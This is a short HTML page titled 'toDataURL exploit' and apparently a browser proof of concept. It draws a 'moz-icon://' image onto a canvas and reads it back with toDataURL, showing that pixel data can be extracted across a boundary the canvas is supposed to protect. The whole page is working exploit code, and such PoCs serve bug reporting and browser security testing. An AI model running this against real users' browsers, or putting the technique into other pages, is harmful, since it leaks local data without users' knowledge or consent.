<!DOCTYPE HTML>
<html>

<head>
  <title>toDataURL exploit</title>
  <script>
  function exploit() {
    var image = new Image();
    image.src = "moz-icon://.zip?size=16"; 

    var canvas = document.getElementsByTagName('canvas')[0];
 
    canvas.setAttribute('width', 16);
    canvas.setAttribute('height', 16);
     
    var context = canvas.getContext('2d');

    context.drawImage(image, 0, 0);
    document.getElementById("data").innerHTML = canvas.toDataURL();
  }
  </script>
</head>

<body>

Canvas: <canvas> </canvas>

<hr/>

Data URL: <span id="data"></span>

<script>exploit();</script>

</body>

</html>

